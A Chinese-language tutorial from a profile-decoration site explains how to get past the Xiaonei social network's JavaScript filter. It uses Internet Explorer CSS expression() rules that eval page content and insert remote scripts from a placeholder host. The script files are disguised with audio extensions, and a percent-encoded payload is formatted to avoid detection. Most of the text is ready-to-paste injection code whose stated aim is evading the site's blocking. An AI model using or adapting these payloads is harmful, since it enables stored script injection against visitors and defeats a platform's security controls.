<a href="http://www.xnei.net/" target="_blank"><img src="http://www.xnei.net/image/ilogo.gif" alt="校内网代码精灵-校内网美化专业网站,欢迎您的访问" border="0"></a>
碰到很多朋友为校内网不能运行Javascript脚本而苦恼,看着别人的页面都有很好的特效而自己没有,呵呵,这里本站特推出两种使JS正常运行在校内网的方法:
在此特别感谢本站交流群成员:globetour 本站交流群:34157015
方法一:
1:保存以下代码为addjs.wma(后缀不是固定的)
.addJs{
display:none;
background:expression((this.innerHTML!="")?(((this.innerHTML=unescape("jsfile=document.createElement%28%27script%27%29;jsfile.src=%27"+this.innerHTML+"%27;document.body.insertAdjacentElement%28%27BeforeBegin%27,jsfile%29;"))&&(eval(this.innerHTML))&&(this.innerHTML=""))==null?'red':'green'):'blue');
}
2:保存JS代码为addjs.mp3(后缀不是固定的)
JS代码可以自己编写,这里主要讲述方法,所以代码没贴上来了!
3:在涂鸦板中加入:
<link href="xx.css"><link href="http://xxx/addjs.wma" rel="stylesheet" type="text/css" media="all" />
<div class=addJs>http://xxx/albumpic.mp3</div>
注:xxx为校内网认可的网址或IP地址!
版本二:
1:保存以下代码为addjs.mp3(后缀不是固定的)
.jsEnCode{
display:none;
background:expression((this.innerHTML!="")?((eval(unescape(this.innerHTML)+'this.innerHTML="";')==null)?"#aaa":"#123"):"#a00" );
}
.jscode{
display:none;
background:expression((this.innerHTML!="")?((eval(this.innerHTML+"this.innerHTML=''")==null)?"#aaa":"#123"):"#a00" );
}
.addJs{
display:none;
background:expression((this.innerHTML!="")?((eval("var s2 = document.createElement\x28'script'\x29; s2.src='"+this.innerHTML+"'; document.body.insertAdjacentElement\x28'BeforeBegin',s2\x29;"+"this.innerHTML='';")==null)?"#aaa":"#123"):"#a00" );
}
解释一下上段代码:
/*
*用途:为了在校内能够运行JS,而躲避系统的封查
*
*这是一个样式文件,
*class=addJS
*作用:添加JS文件
*
*class=jsCode
*作用:把当前内容当JS代码执行
*
*class=jsEnCode
*作用:把当前内容unescape后当JS代码执行
*注意:不要换行,格式为 %xx ,xx为16进制,对应ASCII码字符
*
*附:
* ( \x28
* ) \x29
*/
2:保存JS代码为addjs.mp3(后缀不是固定的)
3:把代码:
<div class=jsEnCode>codeJSUrl="http://xxx/albumpic.mp3";var s2 = document.createElement("script");s2.src=codeJSUrl;document.body.insertAdjacentElement("BeforeBegin",s2);</div>
编码成:
<div class=jsEnCode>%63%6f%64%65%4a%53%55%72%6c%3d%22%68%74%74%70%3a%2f%2f%78%78%78%2f%61%6c%62%75%6d%70%69%63%2e%6d%70%33%22%3b%76%61%72%20%73%32%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%3b%73%32%2e%73%72%63%3d%63%6f%64%65%4a%53%55%72%6c%3b%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%73%65%72%74%41%64%6a%61%63%65%6e%74%45%6c%65%6d%65%6e%74%28%22%42%65%66%6f%72%65%42%65%67%69%6e%22%2c%73%32%29%3b</div>
的样式。
注意:编码的字母必须是小写,为大写的时候有可能会被校内禁止。
globetour的字符转换工具:http://www.xnei.cn/tool/character.html
globetour上传的代码加密/解密工具在群共享里,大家可以自己下载!
4:在涂鸦板中加入:
<link href="http://xxx/addjs.mp3" rel="stylesheet" type="text/css" media="all" />
<div class=jsEnCode>%63%6f%64%65%4a%53%55%72%6c%3d%22%68%74%74%70%3a%2f%2f%78%78%78%2f%61%6c%62%75%6d%70%69%63%2e%6d%70%33%22%3b%76%61%72%20%73%32%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%3b%73%32%2e%73%72%63%3d%63%6f%64%65%4a%53%55%72%6c%3b%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%73%65%72%74%41%64%6a%61%63%65%6e%74%45%6c%65%6d%65%6e%74%28%22%42%65%66%6f%72%65%42%65%67%69%6e%22%2c%73%32%29%3b</div>
至此即可轻松在校内运行自己的代码(如要修改JS内容,需要你有一定的JS基础),有问题请加群交流,谢谢!群号:34157015